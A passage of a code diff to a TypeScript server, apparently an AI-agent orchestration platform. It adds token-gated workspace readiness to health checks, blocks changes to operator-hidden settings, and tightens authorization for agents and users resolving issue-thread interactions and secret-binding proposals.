+        scanContext: {
+          signal: requestAbort.signal,
+          fairnessKeys: [
+            `company:${issue.companyId}`,
+            `actor:${actor.actorId}`,
+            `issue:${req.params.issueId}`,
+          ],
+        },
+      });
       await logActivity(db, {
         companyId: issue.companyId,
         actorType: actor.actorType,
@@ -597,6 +632,17 @@ export function fileResourceRoutes(db: Db, opts: {
       });
       res.json(result);
     } catch (error) {
+      if (
+        isWorkspaceGitScanError(error) &&
+        error.code === WORKSPACE_GIT_SCAN_ERROR_CODES.cancelled &&
+        requestAbort.signal.aborted &&
+        (res.destroyed || res.writableEnded)
+      ) {
+        return;
+      }
+      if (isWorkspaceGitScanError(error) && error.status >= 500) {
+        res.setHeader("Retry-After", "1");
+      }
       await logListDeniedAttempt({
         companyId: issue.companyId,
         actor,
@@ -607,6 +653,7 @@ export function fileResourceRoutes(db: Db, opts: {
       });
       throw error;
     } finally {
+      requestAbort.cleanup();
       release?.();
     }
   });
diff --git a/server/src/routes/health.ts b/server/src/routes/health.ts
index f81f9098a88..6cc8a4a4b56 100644
--- a/server/src/routes/health.ts
+++ b/server/src/routes/health.ts
@@ -12,6 +12,7 @@ import {
   isCloudManagedInstance,
   type CloudInstanceEnv,
 } from "../services/cloud-instance.js";
+import { getHiddenSettings } from "../services/settings-visibility.js";
 import {
   inspectDatabaseBackupHealth,
   type DatabaseBackupHealthStatus,
@@ -19,6 +20,13 @@ import {
   type InspectDatabaseBackupHealthOptions,
 } from "../services/database-backup-health.js";
 import { instanceSettingsService } from "../services/instance-settings.js";
+import { isManagedWorkspaceInstance, resolveWorkspaceReadiness } from "../services/workspace-readiness.js";
+import {
+  resolveWorkspaceReadinessLocalToken,
+  WORKSPACE_READINESS_TOKEN_HEADER,
+  WORKSPACE_READINESS_USER_EMAIL_HEADER,
+  WORKSPACE_READINESS_USER_ID_HEADER,
+} from "../auth/workspace-login-handoff.js";
 import { serverVersion } from "../version.js";
 
 function shouldExposeFullHealthDetails(
@@ -29,17 +37,33 @@ function shouldExposeFullHealthDetails(
   return actorType === "board" || actorType === "agent";
 }
 
-function hasDevServerStatusToken(providedToken: string | undefined) {
-  const expectedToken = process.env.PAPERCLIP_DEV_SERVER_STATUS_TOKEN?.trim();
+function matchesSharedToken(expectedToken: string | undefined | null, providedToken: string | undefined) {
+  const expectedValue = expectedToken?.trim();
   const token = providedToken?.trim();
-  if (!expectedToken || !token) return false;
+  if (!expectedValue || !token) return false;
 
-  const expected = Buffer.from(expectedToken);
+  const expected = Buffer.from(expectedValue);
   const provided = Buffer.from(token);
   if (expected.length !== provided.length) return false;
   return timingSafeEqual(expected, provided);
 }
 
+function hasDevServerStatusToken(providedToken: string | undefined) {
+  return matchesSharedToken(process.env.PAPERCLIP_DEV_SERVER_STATUS_TOKEN, providedToken);
+}
+
+/**
+ * Whether the caller may read this instance's workspace readiness.
+ *
+ * A managed workspace runs in `authenticated` mode, so its own control plane has
+ * no board session against it. The runtime injects a derived probe token into the
+ * guest and presents it here — the same shared-secret shape the dev-server
+ * supervisor already uses, and never a browser-supplied identity header.
+ */
+function hasWorkspaceReadinessToken(providedToken: string | undefined) {
+  return matchesSharedToken(resolveWorkspaceReadinessLocalToken(), providedToken);
+}
+
 function redactedDatabaseBackupWarning(warning: DatabaseBackupHealthWarning): DatabaseBackupHealthWarning {
   const messages: Record<DatabaseBackupHealthWarning["code"], string> = {
     database_backup_check_failed: "Database backup health check failed.",
@@ -134,6 +158,11 @@ export function healthRoutes(
     );
     const runtimeEnv = opts.runtimeEnv ?? process.env;
     const cloud = getCloudHealthStatus(runtimeEnv);
+    // Operator-hidden settings ride every response (like `cloud`): the list
+    // holds UI surface names only, and the settings nav needs it before any
+    // fuller-detail fetch. Omitted entirely when nothing is hidden, so
+    // deployments without the env var keep today's byte-identical responses.
+    const hiddenSettings = [...getHiddenSettings(runtimeEnv)];
     // serverInfo (git SHA + process start) rides on the full-details responses
     // only, so it reaches board/agent actors in authenticated mode or any caller
     // in local_trusted dev — never anonymous authenticated callers. The
@@ -147,6 +176,17 @@ export function healthRoutes(
     const commit = serverInfo.git.available ? serverInfo.git.fullSha : null;
     const exposeDevServerDetails =
       exposeFullDetails || hasDevServerStatusToken(req.get("x-paperclip-dev-server-status-token"));
+    // Workspace readiness names the instance and execution workspace that
+    // answered, so it rides the protected responses only. Public health stays
+    // redacted: an anonymous caller still learns liveness and nothing else.
+    const exposeWorkspaceReadiness =
+      isManagedWorkspaceInstance()
+      && (exposeFullDetails || hasWorkspaceReadinessToken(req.get(WORKSPACE_READINESS_TOKEN_HEADER)));
+    const requestedHandoffUserId = req.get(WORKSPACE_READINESS_USER_ID_HEADER)?.trim();
+    const requestedHandoffUserEmail = req.get(WORKSPACE_READINESS_USER_EMAIL_HEADER)?.trim();
+    const handoffSubject = requestedHandoffUserId && requestedHandoffUserEmail
+      ? { userId: requestedHandoffUserId, email: requestedHandoffUserEmail }
+      : null;
 
     if (!db) {
       res.json(
@@ -158,12 +198,14 @@ export function healthRoutes(
               commit,
               serverInfo,
               ...(cloud ? { cloud } : {}),
+              ...(hiddenSettings.length ? { hiddenSettings } : {}),
             }
           : {
               status: "ok",
               deploymentMode: opts.deploymentMode,
               commit,
               ...(cloud ? { cloud } : {}),
+              ...(hiddenSettings.length ? { hiddenSettings } : {}),
             },
       );
       return;
@@ -173,6 +215,12 @@ export function healthRoutes(
       await db.execute(sql`SELECT 1`);
     } catch (error) {
       logger.warn({ err: error }, "Health check database probe failed");
+      // Carry readiness on the unhealthy response too: the seed phase recorded on
+      // disk is exactly what tells an operator whether this is a half-finished
+      // restore or a database that died after being verified.
+      const workspace = exposeWorkspaceReadiness
+        ? await resolveWorkspaceReadiness({ db, handoffSubject }).catch(() => null)
+        : null;
       res.status(503).json({
         status: "unhealthy",
         version: serverVersion,
@@ -180,6 +228,7 @@ export function healthRoutes(
         commit,
         error: "database_unreachable",
         ...(exposeFullDetails ? { serverInfo } : {}),
+        ...(workspace ? { workspace } : {}),
         ...(cloud ? { cloud } : {}),
       });
       return;
@@ -236,6 +285,13 @@ export function healthRoutes(
       });
     }
 
+    const workspaceReadiness = exposeWorkspaceReadiness
+      ? await resolveWorkspaceReadiness({ db, handoffSubject }).catch((error) => {
+          logger.warn({ err: error }, "workspace readiness probe failed");
+          return null;
+        })
+      : null;
+
     const databaseBackup = opts.databaseBackupHealth
       ? inspectDatabaseBackupHealth(opts.databaseBackupHealth)
       : undefined;
@@ -254,7 +310,12 @@ export function healthRoutes(
         ...(redactedDatabaseBackup ? { databaseBackup: redactedDatabaseBackup } : {}),
         ...(redactedWarnings ? { warnings: redactedWarnings } : {}),
         ...(devServer ? { devServer } : {}),
+        // Token-authorized probe on an otherwise redacted response: the control
+        // plane needs readiness without a board session, and nothing else about
+        // this instance becomes visible.
+        ...(workspaceReadiness ? { workspace: workspaceReadiness } : {}),
         ...(cloud ? { cloud } : {}),
+        ...(hiddenSettings.length ? { hiddenSettings } : {}),
       });
       return;
     }
@@ -276,7 +337,9 @@ export function healthRoutes(
       ...(databaseBackup ? { databaseBackup } : {}),
       ...(warnings ? { warnings } : {}),
       ...(devServer ? { devServer } : {}),
+      ...(workspaceReadiness ? { workspace: workspaceReadiness } : {}),
       ...(cloud ? { cloud } : {}),
+      ...(hiddenSettings.length ? { hiddenSettings } : {}),
     });
   });
 
diff --git a/server/src/routes/instance-settings.ts b/server/src/routes/instance-settings.ts
index b7160042a53..181ced8bf8c 100644
--- a/server/src/routes/instance-settings.ts
+++ b/server/src/routes/instance-settings.ts
@@ -8,12 +8,52 @@ import {
 } from "@paperclipai/shared";
 import { forbidden } from "../errors.js";
 import { isCloudManagedInstance } from "../services/cloud-instance.js";
+import { getHiddenSettings } from "../services/settings-visibility.js";
 import { validate } from "../middleware/validate.js";
 import { heartbeatService, instanceSettingsService, logActivity } from "../services/index.js";
 import { environmentService } from "../services/environments.js";
 import { assertEnvironmentSelectionForCompany } from "./environment-selection.js";
 import { assertBoardOrgAccess, getActorInfo } from "./authz.js";
 
+function sameJsonValue(a: unknown, b: unknown): boolean {
+  if (a === b) return true;
+  if (typeof a !== "object" || typeof b !== "object" || a === null || b === null) return false;
+  if (Array.isArray(a) || Array.isArray(b)) {
+    return (
+      Array.isArray(a)
+      && Array.isArray(b)
+      && a.length === b.length
+      && a.every((value, i) => sameJsonValue(value, b[i]))
+    );
+  }
+  const aKeys = Object.keys(a);
+  const bKeys = new Set(Object.keys(b));
+  return aKeys.length === bKeys.size && aKeys.every((key) =>
+    bKeys.has(key) && sameJsonValue((a as Record<string, unknown>)[key], (b as Record<string, unknown>)[key]),
+  );
+}
+
+/**
+ * Floor writes to operator-hidden settings. Same-value writes pass so clients
+ * that echo a full GET response keep working (the executionMode precedent);
+ * only a write that would actually change a hidden setting is rejected.
+ */
+async function assertNoHiddenSettingChanges(
+  body: Record<string, unknown>,
+  getCurrent: () => Promise<object>,
+  isHiddenField: (field: string) => boolean,
+) {
+  const hiddenKeys = Object.keys(body).filter(isHiddenField);
+  if (hiddenKeys.length === 0) return;
+  const current = (await getCurrent()) as Record<string, unknown>;
+  for (const key of hiddenKeys) {
+    if (sameJsonValue(body[key], current[key])) continue;
+    throw forbidden(`${key} is managed by the hosting operator on this instance`, {
+      code: "settings_operator_managed",
+    });
+  }
+}
+
 function assertCanManageInstanceSettings(req: Request) {
   if (req.actor.type !== "board") {
     throw forbidden("Board access required");
@@ -122,6 +162,12 @@ export function instanceSettingsRoutes(db: Db) {
           });
         }
       }
+      const hidden = getHiddenSettings();
+      await assertNoHiddenSettingChanges(
+        req.body,
+        () => svc.getGeneral(),
+        (field) => hidden.has(`instance.general.${field}`),
+      );
       const updated = await svc.updateGeneral(req.body);
       const actor = getActorInfo(req);
       const companyIds = await svc.listCompanyIds();
@@ -161,6 +207,15 @@ export function instanceSettingsRoutes(db: Db) {
     validate(patchInstanceExperimentalSettingsSchema),
     async (req, res) => {
       assertCanManageInstanceSettings(req);
+      // Hiding the whole Experimental page floors every toggle; otherwise
+      // only individually hidden keys are floored.
+      const hidden = getHiddenSettings();
+      await assertNoHiddenSettingChanges(
+        req.body,
+        () => svc.getExperimental(),
+        (field) =>
+          hidden.has("instance.experimental") || hidden.has(`instance.experimental.${field}`),
+      );
       const updated = await svc.updateExperimental(req.body);
       const actor = getActorInfo(req);
       const companyIds = await svc.listCompanyIds();
diff --git a/server/src/routes/issues.ts b/server/src/routes/issues.ts
index 50ae72bda7b..ec1604b950e 100644
--- a/server/src/routes/issues.ts
+++ b/server/src/routes/issues.ts
@@ -67,6 +67,8 @@ import {
   upsertIssueDocumentSchema,
   updateIssueSchema,
   isClosedIsolatedExecutionWorkspace,
+  isMarkdownArtifactWorkProduct,
+  isMarkdownAttachmentContent,
   isUuidLike,
   normalizeIssueIdentifier as normalizeIssueReferenceIdentifier,
   type CompactIssue,
@@ -90,10 +92,12 @@ import {
   type IssueWakeDiagnosticsResponse,
   type IssueRelationIssueSummary,
   type IssueReviewPolicy,
+  type IssueThreadInteractionCanonicalResolverPolicy,
   type IssueCommentPresentation,
   type IssueWatchdogDiscoveryKind,
   type ProjectWorkspace,
   type SourceTrustMetadata,
+  type SuggestTasksInteraction,
   type SuccessfulRunHandoffState,
   type WorkspaceRuntimeService,
   issueWriteDenialCodeForResponsibleUserDenial,
@@ -105,11 +109,12 @@ import { trackAgentTaskCompleted } from "@paperclipai/shared/telemetry";
 import { getTelemetryClient } from "../telemetry.js";
 import { isUniqueViolation } from "../db-errors.js";
 import type { StorageService } from "../storage/types.js";
-import { validate } from "../middleware/validate.js";
+import { validate, validateIssueMutationBody } from "../middleware/validate.js";
 import * as serviceIndex from "../services/index.js";
 import {
   accessService,
   agentService,
+  budgetService,
   companySkillService,
   companyService,
   companySearchService,
@@ -135,6 +140,8 @@ import {
   routineService,
   workProductService,
 } from "../services/index.js";
+import { artifactReviewDocumentService } from "../services/artifact-review-documents.js";
+import { assertCanResolveProposal } from "../services/secret-proposal-authorization.js";
 import { buildDocumentReviewContext, buildPlanReviewContext } from "../services/plan-review-context.js";
 import {
   decideIssueReviewPathRecovery,
@@ -168,14 +175,16 @@ import {
   SVG_CONTENT_TYPE,
 } from "../attachment-types.js";
 import { queueIssueAssignmentWakeup } from "../services/issue-assignment-wakeup.js";
+import { createSecretProposalsService } from "../services/secret-proposals.js";
+import { notifySecretProposalResolution } from "../services/secret-proposal-notifications.js";
 import {
   buildOnboardingGreeting,
   ONBOARDING_GREETING_AUTHORIZATION_REASON,
 } from "../services/onboarding-greeting.js";
 import {
   ISSUE_BLOCKERS_RESOLVED_WAKE_REASON,
-  buildIssueBlockersResolvedWakeIdempotencyKey,
-  findExistingIssueBlockersResolvedWake,
+  buildIssueBlockersResolvedWakeStateKey,
+  findExistingIssueBlockersResolvedWakeForReadyState,
 } from "../services/issue-dependency-wakeups.js";
 import { assertEnvironmentSelectionForCompany } from "./environment-selection.js";
 import {
@@ -228,7 +237,15 @@ import { deliverAgentUnblockNotification } from "../services/routable-blocked.js
 import {
   assertIssueReviewVerdictActorAllowed,
   isIssueReviewVerdictInteraction,
+  resolveIssueReviewRequester,
 } from "../services/issue-review-policy.js";
+import {
+  evaluateIssueThreadInteractionResolverAudience,
+  issueThreadInteractionAttentionAgentAllowed,
+  type IssueThreadInteractionResolverAudienceDecision,
+  type IssueThreadInteractionResolverRestriction,
+} from "../services/issue-thread-interaction-resolution.js";
+import { resolveSelectedSuggestedTasks } from "../services/issue-thread-interactions.js";
 import {
   crossIssueInfluenceLimitError,
   crossIssueInfluenceRunContextError,
@@ -248,18 +265,18 @@ function prefersMinimalIssueUpdateResponse(req: Request) {
 }
 
 const refreshExternalObjectsSchema = z.object({
-  objectIds: z.array(z.string().uuid()).max(50).optional(),
+  objectIds: z.array(z.string().guid()).max(50).optional(),
 }).strict();
 const inboxArchiveBodySchema = z.object({
   userId: z.string().trim().min(1).optional(),
 }).strict().default({});
 const externalObjectSummariesSchema = z.object({
-  issueIds: z.array(z.string().uuid()).max(1000),
+  issueIds: z.array(z.string().guid()).max(1000),
 }).strict();
 
 const promoteLowTrustOutputSchema = z.object({
   sourceArtifactKind: z.enum(["comment", "document", "work_product", "issue"]),
-  sourceArtifactId: z.string().uuid(),
+  sourceArtifactId: z.string().guid(),
   title: z.string().trim().min(1).max(200),
   summary: z.string().trim().min(1).max(8_000),
 });
@@ -443,7 +460,7 @@ function requiresPaperclipAttachmentMetadata(input: {
 }
 
 const attachmentArtifactMetadataInputSchema = z.object({
-  attachmentId: z.string().uuid(),
+  attachmentId: z.string().guid(),
 }).passthrough();
 
 function buildCreateIssueActivityStatusDetails(
@@ -1912,6 +1929,14 @@ function readToolActionExecutionStatus(value: unknown) {
     : null;
 }
 
+function secretProposalExecutionErrorCode(error: unknown) {
+  if (error instanceof HttpError) {
+    const details = readObject(error.details);
+    return readNonEmptyString(details.code) ?? `http_${error.status}`;
+  }
+  return "secret_proposal_execution_failed";
+}
+
 function readToolActionContinuationContext(interaction: {
   status: string;
   payload?: unknown;
@@ -1978,6 +2003,54 @@ function readToolActionContinuationContext(interaction: {
   };
 }
 
+function readSecretProposalContinuationContext(interaction: {
+  status: string;
+  payload?: unknown;
+  result?: unknown;
+}) {
+  const payload = readObject(interaction.payload);
+  const proposal = readObject(payload.secretProposal);
+  const proposalId = readNonEmptyString(proposal.proposalId);
+  const configPath = readNonEmptyString(proposal.configPath);
+  if (!proposalId || !configPath) return null;
+  const result = readObject(interaction.result);
+  const execution = readObject(result.secretProposal);
+  const executionStatus = readNonEmptyString(execution.status);
+  const errorCode = readNonEmptyString(execution.errorCode);
+  const sourceSecretLabel = readNonEmptyString(proposal.sourceSecretLabel);
+
+  if (interaction.status === "rejected") {
+    return {
+      proposalId,
+      configPath,
+      decision: "rejected",
+      executionStatus: "rejected",
+      instructions: "the secret binding proposal was rejected; do not assume the alias exists.",
+    };
+  }
+  if (interaction.status !== "accepted" || (executionStatus !== "executed" && executionStatus !== "failed")) {
+    return null;
+  }
+  if (executionStatus === "executed") {
+    return {
+      proposalId,
+      configPath,
+      decision: "accepted",
+      executionStatus,
+      ...(sourceSecretLabel ? { sourceSecretLabel } : {}),
+      instructions: `the binding was created at ${configPath}; verify it with GET /api/agents/me/secrets before using it.`,
+    };
+  }
+  return {
+    proposalId,
+    configPath,
+    decision: "accepted",
+    executionStatus,
+    ...(errorCode ? { errorCode } : {}),
+    instructions: "the binding was not created; inspect the failure comment and submit a fresh proposal after fixing the cause.",
+  };
+}
+
 const REQUEST_ITEM_VERDICTS_WAKE_COALESCE_WINDOW_MS = 2_000;
 
 function buildRequestItemVerdictsWakeIdempotencyKey(args: {
@@ -2046,6 +2119,7 @@ async function queueResolvedInteractionContinuationWakeup(input: {
   const interactionResult = readConfirmationResultForWake(input.interaction.result);
   const checkboxSelection = readCheckboxSelectionForWake(input.interaction);
   const toolAction = readToolActionContinuationContext(input.interaction);
+  const secretProposal = readSecretProposalContinuationContext(input.interaction);
   const newlyResolvedItemIds = input.newlyResolvedItemIds?.filter((value) => value.length > 0) ?? [];
   const itemVerdicts = newlyResolvedItemIds.length > 0
     ? {
@@ -2078,6 +2152,7 @@ async function queueResolvedInteractionContinuationWakeup(input: {
       ...(planReviewInteraction ? { planReviewInteraction } : {}),
       ...(checkboxSelection ? { checkboxSelection } : {}),
       ...(toolAction ? { toolAction } : {}),
+      ...(secretProposal ? { secretProposal } : {}),
       ...(itemVerdicts ? { itemVerdicts, newlyResolvedItemIds } : {}),
       ...(reviewPathContext ?? {}),
       mutation: "interaction",
@@ -2096,6 +2171,7 @@ async function queueResolvedInteractionContinuationWakeup(input: {
       ...(planReviewInteraction ? { planReviewInteraction } : {}),
       ...(checkboxSelection ? { checkboxSelection } : {}),
       ...(toolAction ? { toolAction } : {}),
+      ...(secretProposal ? { secretProposal } : {}),
       ...(itemVerdicts ? { itemVerdicts, newlyResolvedItemIds } : {}),
       ...(reviewPathContext ?? {}),
       wakeReason: "issue_commented",
@@ -2721,12 +2797,20 @@ export function issueRoutes(
       actionRequestId: string;
       actor: { agentId?: string | null; userId?: string | null };
     }) => Promise<unknown>;
+    approveSecretProposal?: (input: {
+      companyId: string;
+      issueId: string;
+      interactionId: string;
+      proposalId: string;
+      actor: { agentId?: string | null; userId?: string | null };
+    }) => Promise<unknown>;
   } = {},
 ) {
   const router = Router();
   const svc = issueService(db);
   const runRedactions = createRunSecretRedactionRegistry(db);
   const access = accessService(db);
+  const secretProposals = createSecretProposalsService(db);
   const heartbeat = heartbeatService(db, {
     pluginWorkerManager: opts.pluginWorkerManager,
   });
@@ -2749,6 +2833,7 @@ export function issueRoutes(
   const executionWorkspacesSvc = executionWorkspaceServiceDirect(db);
   const workProductsSvc = workProductService(db);
   const documentsSvc = documentService(db);
+  const artifactReviewDocumentsSvc = artifactReviewDocumentService(db, storage);
   const companySkillsSvc = companySkillService(db);
   const documentAnnotationsSvc = documentAnnotationService(db);
   const decisionTrainingSvc = decisionTrainingService(db);
@@ -3411,7 +3496,7 @@ export function issueRoutes(
     );
   }
 
-  async function assertAgentInReviewReviewPath(input: {
+  async function assertInReviewReviewPath(input: {
     existing: {
       id: string;
       companyId: string;
@@ -3421,7 +3506,8 @@ export function issueRoutes(
       monitorNextCheckAt?: Date | null;
     };
     updateFields: Record<string, unknown>;
-    actorType: string;
+    actorType: "agent" | "user";
+    actorId: string;
     actorAgentId?: string | null;
     actorRunId?: string | null;
     reviewInteractionId?: string;
@@ -3429,7 +3515,8 @@ export function issueRoutes(
     const nextStatus = typeof input.updateFields.status === "string"
       ? input.updateFields.status
       : input.existing.status;
-    if (input.actorType !== "agent" || input.existing.status === "in_review" || nextStatus !== "in_review") return null;
+    if (input.existing.status === "in_review" || nextStatus !== "in_review") return null;
+    if (input.actorType !== "agent" && !input.reviewInteractionId) return null;
 
     const interactions = await issueThreadInteractionService(db).listForIssue(input.existing.id);
     const pendingInteractions = interactions.filter((interaction) => interaction.status === "pending");
@@ -3437,18 +3524,27 @@ export function issueRoutes(
       const designatedReviewConfirmation = pendingInteractions.find((interaction) =>
         interaction.id === input.reviewInteractionId
         && (interaction.kind === "request_confirmation" || interaction.kind === "request_checkbox_confirmation")
-        && interaction.createdByAgentId === input.actorAgentId
-        && interaction.sourceRunId === input.actorRunId
+        && (
+          input.actorType === "agent"
+            ? interaction.createdByAgentId === input.actorAgentId
+              && interaction.sourceRunId === input.actorRunId
+            : interaction.createdByUserId === input.actorId
+        )
         && !(
           interaction.kind === "request_confirmation"
           && interaction.payload
           && typeof interaction.payload === "object"
-          && "toolAction" in interaction.payload
-          && interaction.payload.toolAction !== undefined
+          && (
+            ("toolAction" in interaction.payload && interaction.payload.toolAction !== undefined)
+            || ("secretProposal" in interaction.payload && interaction.payload.secretProposal !== undefined)
+          )
         )
       );
       if (!designatedReviewConfirmation) {
-        throw unprocessable("reviewInteractionId must identify a pending non-tool confirmation created by this agent run", {
+        const creatorDescription = input.actorType === "agent"
+          ? "this agent run"
+          : "this user";
+        throw unprocessable(`reviewInteractionId must identify a pending non-tool confirmation created by ${creatorDescription}`, {
           code: "invalid_review_interaction",
           reviewInteractionId: input.reviewInteractionId,
         });
@@ -3456,6 +3552,8 @@ export function issueRoutes(
       return designatedReviewConfirmation.id;
     }
 
+    if (input.actorType !== "agent") return null;
+
     const nextAssigneeUserId = input.updateFields.assigneeUserId === undefined
       ? input.existing.assigneeUserId
       : input.updateFields.assigneeUserId;
@@ -3932,6 +4030,7 @@ export function issueRoutes(
       status: string;
       assigneeAgentId: string | null;
       assigneeUserId: string | null;
+      reviewPolicy?: IssueReviewPolicy | null;
       /** Used only to name the task in denial copy (plan §6). */
       identifier?: string | null;
     },
@@ -4096,30 +4195,124 @@ export function issueRoutes(
     return false;
   }
 
-  async function rejectTaskWatchdogInteractionMutation(
+  function denyIssueThreadInteractionResolution(
+    res: Response,
+    input: {
+      status: number;
+      code: string;
+      message: string;
+      details?: Record<string, unknown>;
+    },
+  ) {
+    res.status(input.status).json({
+      error: input.message,
+      code: input.code,
+      details: { code: input.code, ...(input.details ?? {}) },
+    });
+    return false as const;
+  }
+
+  async function assertAgentInteractionRunAttribution(
     req: Request,
     res: Response,
     issue: {
       id: string;
       companyId: string;
-      parentId?: string | null;
     },
   ) {
-    if (req.actor.type !== "agent") return false;
-    const scope = await resolveTaskWatchdogMutationScope(db, req.actor);
-    if (scope.kind === "none") return false;
-    const result = await taskWatchdogScopeAllowsIssueMutation(db, scope, issue);
-    if (result.kind === "invalid") {
-      res.status(403).json({
-        error: result.detail,
-        details: {
-          issueId: issue.id,
-          securityPrinciples: ["Least Privilege", "Complete Mediation", "Fail Securely"],
-        },
+    if (req.actor.type !== "agent") return null;
+    const runId = req.actor.runId?.trim();
+    if (!req.actor.agentId || !runId) {
+      return denyIssueThreadInteractionResolution(res, {
+        status: 422,
+        code: "interaction_run_attribution_required",
+        message: "A valid authenticated agent run is required to resolve this issue-thread interaction",
       });
+    }
+
+    const run = await db
+      .select({
+        companyId: heartbeatRuns.companyId,
+        agentId: heartbeatRuns.agentId,
+        responsibleUserId: heartbeatRuns.responsibleUserId,
+      })
+      .from(heartbeatRuns)
+      .where(and(
+        eq(heartbeatRuns.id, runId),
+        eq(heartbeatRuns.companyId, issue.companyId),
+        eq(heartbeatRuns.agentId, req.actor.agentId),
+      ))
+      .then((rows) => rows[0] ?? null);
+    const actorResponsibleUserId = req.actor.onBehalfOfUserId?.trim() || null;
+    if (
+      !run
+      || run.companyId !== issue.companyId
+      || run.agentId !== req.actor.agentId
+      || (
+        actorResponsibleUserId !== null
+        && run.responsibleUserId !== undefined
+        && run.responsibleUserId !== actorResponsibleUserId
+      )
+    ) {
+      return denyIssueThreadInteractionResolution(res, {
+        status: 422,
+        code: "interaction_run_attribution_required",
+        message: "The authenticated agent run is not valid for this issue-thread interaction",
+      });
+    }
+    return runId;
+  }
+
+  async function assertIssueThreadInteractionContainmentAllowed(
+    req: Request,
+    res: Response,
+    issue: Parameters<typeof assertAgentIssueMutationAllowed>[2],
+  ) {
+    if (req.actor.type !== "agent") return true;
+    if (await actorIsLowTrustReview(req, issue.companyId, issue)) {
+      return denyIssueThreadInteractionResolution(res, {
+        status: 403,
+        code: "interaction_scope_denied",
+        message: "This issue-thread interaction is outside the actor's trusted control-plane scope",
+      });
+    }
+
+    const watchdogScope = await resolveTaskWatchdogMutationScope(db, req.actor);
+    if (watchdogScope.kind === "invalid") {
+      return denyIssueThreadInteractionResolution(res, {
+        status: 403,
+        code: "interaction_scope_denied",
+        message: watchdogScope.detail,
+      });
+    }
+    if (watchdogScope.kind !== "none") {
+      const scopeResult = await taskWatchdogScopeAllowsIssueMutation(db, watchdogScope, issue);
+      if (scopeResult.kind === "invalid") {
+        return denyIssueThreadInteractionResolution(res, {
+          status: 403,
+          code: "interaction_scope_denied",
+          message: scopeResult.detail,
+        });
+      }
+      const revalidated = await taskWatchdogsSvc.revalidateMutationScope(watchdogScope);
+      if (!revalidated.allowed) {
+        return denyIssueThreadInteractionResolution(res, {
+          status: 403,
+          code: "interaction_scope_denied",
+          message: "This issue-thread interaction is outside the current watchdog scope",
+        });
+      }
       return true;
     }
-    res.status(403).json({ error: "Task-watchdog runs cannot mutate issue-thread interactions" });
+
+    const boundaryDecision = await decideIssueAccess(req, issue, "issue:mutate");
+    if (!boundaryDecision.allowed) {
+      return denyIssueThreadInteractionResolution(res, {
+        status: 403,
+        code: "interaction_scope_denied",
+        message: "This issue-thread interaction is outside the actor's authorized issue scope",
+      });
+    }
     return true;
   }
 
@@ -4133,79 +4326,219 @@ export function issueRoutes(
       createdByUserId?: string | null;
       sourceRunId?: string | null;
       effectiveResolverPolicy: string;
+      resolverPolicyProvenance?: string | null;
       addresseeAgentId?: string | null;
       kind: string;
       status: string;
       payload?: unknown;
     },
+    runId: string | null,
   ) {
-    if (req.actor.type !== "agent") {
-      assertBoard(req);
+    const reviewRestriction = await resolvePendingReviewInteractionRestriction(issue, interaction);
+    const resolverPolicyRestriction = reviewRestriction?.restriction ?? null;
+    if (reviewRestriction?.binding === "legacy") {
       await assertPendingReviewInteractionVerdictAllowed(req, issue, interaction);
-      return "standard" as const;
     }
-    const actorAgentId = req.actor.agentId;
-    const runId = requireAgentRunId(req, res);
-    if (!actorAgentId || !runId) return false;
-    const watchdogScope = await resolveTaskWatchdogMutationScope(db, req.actor);
-    if (watchdogScope.kind !== "none") {
-      res.status(403).json({ error: "Task-watchdog runs cannot resolve issue-thread interactions" });
-      return false;
-    }
-    if (await assertLowTrustControlPlaneDenied(req, res, issue.companyId, issue)) return false;
-    if (!(await assertAgentIssueMutationAllowed(req, res, issue))) return false;
-    const isReviewConfirmationVerdict = await isPendingReviewConfirmationVerdict(issue, interaction);
     const payload = interaction.payload && typeof interaction.payload === "object"
-      ? interaction.payload as { toolAction?: unknown }
+      ? interaction.payload as { toolAction?: unknown; secretProposal?: unknown }
       : null;
-    if (interaction.kind === "request_confirmation" && payload?.toolAction !== undefined) {
-      res.status(403).json({ error: "Tool-action confirmations are always board-only" });
-      return false;
+    const actor = getActorInfo(req);
+    const decision: IssueThreadInteractionResolverAudienceDecision =
+      evaluateIssueThreadInteractionResolverAudience({
+        actor: actor.actorType === "agent"
+          ? { type: "agent", agentId: actor.agentId, runId: runId || actor.runId }
+          : { type: "user", userId: actor.actorId },
+        interaction,
+        additionalRestriction: resolverPolicyRestriction,
+        governedAction:
+          interaction.kind === "request_confirmation"
+          && (payload?.toolAction !== undefined || payload?.secretProposal !== undefined),
+      });
+    if (!decision.allowed) {
+      return denyIssueThreadInteractionResolution(res, {
+        status: decision.status,
+        code: decision.code,
+        message: decision.message,
+        details: {
+          effectiveResolverPolicy: decision.effectiveResolverPolicy,
+          ...(decision.details ?? {}),
+        },
+      });
     }
-    if (isReviewConfirmationVerdict) {
-      if (!assertAgentInteractionActorAllowed(res, interaction, actorAgentId, runId)) return false;
-      await assertPendingReviewInteractionVerdictAllowed(req, issue, interaction);
-      return "review_verdict" as const;
-    }
-    if (interaction.effectiveResolverPolicy !== "board_or_agents") {
-      res.status(403).json({ error: "This issue-thread interaction is board-only" });
-      return false;
-    }
-    return assertAgentInteractionActorAllowed(res, interaction, actorAgentId, runId)
-      ? "standard" as const
-      : false;
+    // Resolving an interaction on another run's issue is a cross-issue mutation
+    // like a comment or a PATCH, so it consumes the same per-run budget (§9.3,
+    // §9.8.1). This runs last: company/resource access, run attribution,
+    // containment, and the audience decision have all already passed, and the
+    // terminal interaction mutation plus every child-task, continuation,
+    // activity, tool, and wake side effect is still downstream. Same-issue
+    // resolutions short-circuit inside the counter transaction and are not
+    // charged, matching comment/update semantics.
+    if (!(await assertCrossIssueInfluenceWithinRunCap(req, res, issue, "interaction_resolution"))) return false;
+    return { decision, resolverPolicyRestriction } as const;
   }
 
-  function assertAgentInteractionActorAllowed(
+  async function getIssueThreadInteractionResolutionAuthorization(
+    req: Request,
     res: Response,
-    interaction: {
-      addresseeAgentId?: string | null;
-      createdByAgentId?: string | null;
-      sourceRunId?: string | null;
-    },
-    actorAgentId: string,
-    runId: string,
+    issue: Parameters<typeof assertAgentIssueMutationAllowed>[2],
+    interactionId: string,
   ) {
-    if (interaction.addresseeAgentId && interaction.addresseeAgentId !== actorAgentId) {
-      res.status(403).json({ error: "Only the addressed agent or a board user may resolve this issue-thread interaction" });
-      return false;
-    }
-    if (interaction.createdByAgentId === actorAgentId) {
-      res.status(403).json({ error: "Agents cannot resolve interactions they created" });
-      return false;
-    }
-    if (interaction.sourceRunId === runId) {
-      res.status(403).json({ error: "Agents cannot resolve interactions created by the same run" });
-      return false;
+    // Actor-only gates deliberately precede the interaction lookup. An actor
+    // outside the issue's trusted/watchdog scope must not learn whether an
+    // interaction id exists on that issue.
